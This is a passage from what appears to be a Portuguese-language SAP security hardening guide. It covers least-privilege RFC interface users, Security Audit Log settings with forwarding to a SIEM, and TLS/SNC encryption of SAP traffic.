Usuários de interface (RFC técnicos) devem ter perfis dedicados com o mínimo de funções RFC necessárias, e nunca devem ter perfil SAP_ALL ou S_A.SYSTEM.

Implementar Logging e Monitoramento de Segurança (SAP Security Audit Log)

O Security Audit Log (SAL) do SAP, ativado via transação SM19, deve registrar no mínimo:

Todos os logins e logoffs bem-sucedidos e falhados.
Uso de transações críticas (SE38, SM49, SU01, STMS).
Chamadas RFC com funções sensíveis.
Ativações de serviços web ABAP.

Os logs devem ser enviados para um SIEM externo ao ambiente SAP via SAP Enterprise Threat Detection (ETD) ou por meio de integração com soluções como Splunk, IBM QRadar ou Microsoft Sentinel usando o conector oficial da SAP.

Habilitar TLS e Criptografia em Trânsito

Todo tráfego SAP em produção deve ser criptografado. As configurações essenciais são:

Ativar SNC (Secure Network Communications) para criptografia do protocolo DIAG entre clientes SAP GUI e o servidor de aplicação.
Configurar certificados TLS válidos no ICM para todas as interfaces web.
Ativar TLS nas conexões RFC (RFC over TLS), especialmente para conexões entre sistemas SAP distintos e para conexões de sistemas externos.